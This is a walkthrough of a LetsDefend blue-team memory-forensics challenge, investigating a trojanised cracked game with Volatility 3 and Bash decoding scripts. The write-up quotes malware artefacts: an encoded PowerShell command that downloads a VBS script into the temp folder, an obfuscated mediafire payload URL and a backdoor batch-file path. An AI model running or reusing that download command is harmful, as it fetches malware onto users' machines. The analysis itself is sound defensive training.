In this article, I use Volatility 3, MalwareBazaara and Bash to aid in memory forensics. We are tasked with analyzing a cracked version of a popular video game which exhibited suspicious behavior. The memory dump file belongs to a blue team focused challenge on the LetsDefend website, titled “WinRAR 0-Day” and was created by Mostafa Abdelaziz.
Disclaimer
I encourage individuals to try the challenge first on their own before consulting the write-up. This approach promotes independent problem-solving and allows for a more genuine learning experience.
Challenge Scenario
It appears that there are numerous cracked versions of popular games available. However, it seems we may have downloaded the wrong one, as it exhibits suspicious behavior. We require your assistance in investigating this matter.
Challenge Questions
1. What is the suspected process?
To list the processes of a system we will use the windows.pslistcommand. “This walks the doubly-linked list pointed to by PsActiveProcessHead and shows the offset, process name, process ID, the parent process ID, number of threads, number of handles, and date/time when the process started and exited”. Looking through the list of processes we notice the suspicious WinRAR.exe processes and logged it as the answer to question 1.
python3 vol.py -f ../Winny.vnem windows.pslist
Suspicious WinRAR.exe process.
2. We suspect that the crack had another name. Can you find the old name of that crack?
To aid in searching for any commands that attackers typed in the cmd.exe or executed via backdoors we can use windows.cmdline. In addition to using this command we pipe to grep in order to do a case-insensitive search for WinRAR in the output . Output reveals that the old file name was b6wzzawS.rar.
python3 vol.py -f ../Winny.vmem windows.cmdline | grep -i "winrar.exe"
New file name of b6wzzawS.rar.
3. What is the new crack filename?
In order to find “ FILE_OBJECTs in physical memory using pool tag scanning, use the filescancommand”. The output shows the physical offset of the FILE_OBJECT, file name, number of pointers to the object, number of handles to the object, and the effective permissions granted to the object. Let’s execute this command and redirect the output to the fileout text file.
python3 vol.py -f ../Winny.vmem windows.filescan > fileout.txt
Newly created text file.
Search for the lines containing the text \Downloads using grep inside this text file. This will reveal all the files in the \Users\Work\Downloads\ directory which originally had the b6wzzawS.rar file. The new crack file name now seems to be FIFA23CRACK.rar1.
cat fileout.txt | grep "\Downloads"
Revelation of FIFA23CRACK.rar1 file.
4. What is the command that executed the remote request?
The concept of caching is similar to temporarily storing frequently accessed computer files in memory. By analyzing this memory cache, we are able to recover files that were in use. In Volatility, the dumpfiles command allows us to extract files and data from a computer’s memory dump, which includes cached files and information.
python3 vol.py -f ../Winny.vmem -o dump windows.dumpfile --virtaddr 0xc402ee5b16e0
Extracted file.
Now lets:
- Rename the file to it ends with the .
rarextension, this way we can properly extract its contents.
2. Extracting the contents of the file using 7z (7z e)
3. Display of the files inside the rar file.
Once we display the output of the ReadMe.txt .cmd.file we get the encoded PowerShell command.
powershell.exe -EncodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Vsc2ZhN0VsNGEyeS9TZWNyZXRXZWFwL21haW4vU2Q0cUF4MjEudmJzJyAtT3V0RmlsZSAiJGVudjpURU1QXFNkNHFBeDIxLnZicyI=
Encoded PowerShell command.
5. The external link has a username. What is it?
Base64 decoding the encoded command reveals the Elsfa7El4a2yusername.
6. It seems the creator of that ransomware uploaded a file to the cloud. Can you find which domain it was downloaded from?
Since the GitHub page is not working currently, a friend who completed the challenge managed to upload the file to: bazaar.abuse.ch.
Malicious code sample.
The script uses the Microsoft.XMLHTTP object (xHttp) to send an HTTP GET request to a URL obtained from the v3xDF0elUqts variable, which appears to be a heavily obfuscated string. We are going to use bash in order to decode the obfuscated string.
Bash script created for deobfuscation of the first string.
#!/bin/bash
# Define the input string
input="68LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP3aLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP43LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP47LOPPLPOPLPO.LPLPOLPOLPOP57LOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP4cLOPPLPOPLPO.LPLPOLPOLPOP4bLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP58LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP36LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP4eLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP41LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP67"
# Replace "LOPPLPOPLPO.LPLPOLPOLPOP" with a space
result=$(echo "$input" | sed 's/LOPPLPOPLPO\.LPLPOLPOLPOP/ /g')
# Turn Hex Code into ASCII
decode=$(echo "$result" | xxd -r -p)
# Print the result
echo "$decode"
This bash script takes a long hexadecimal-encoded string and converts it into readable ASCII text. It achieves this by replacing occurrences of “LOPPLPOPLPO.LPLPOLPOLPOP” with spaces and then decoding the remaining hexadecimal characters into their corresponding ASCII characters using xxd . Use chmod +x in order to make the script executable:
 _Making bash script executable._
Output reveals that the ransomware was downloaded from the download850[.]mediafire[.]com domain.
Deobfuscated string.
7. The attacker left the file behind in someplace to come back later for the device. What is the full location of this file?
We are going to use bash in order to decode the second obfuscated string.
Bash script created for deobfuscation of second string.
#!/bin/bash
# Define the input string
input="=Q*************Yi5iUzQFNMt0Y0IE*************w1WZ0x1c39GZul2dcpzY"
# Replace "*************" with "X"
result=$(echo "$input" | sed 's/\*\*\*\*\*\*\*\*\*\*\*\*\*/X/g')
# Reverse the output string
reversed_result=$(echo "$result" | rev)
# Base64 encode the reversed result and decode it
decoded_result=$(echo "$reversed_result" | base64 -d)
# Print the decoded result
echo "$decoded_result"
This Bash script takes an input string, replaces all occurrences of “*************” with “X,” then reverses the modified string, and finally base64 decodes the reversed result, printing the decoded output: c:\windows\temp\B4cKL4T3R.bat.
c:\windows\temp\B4cKL4T3R.bat
Thank you for reading! Stay curious.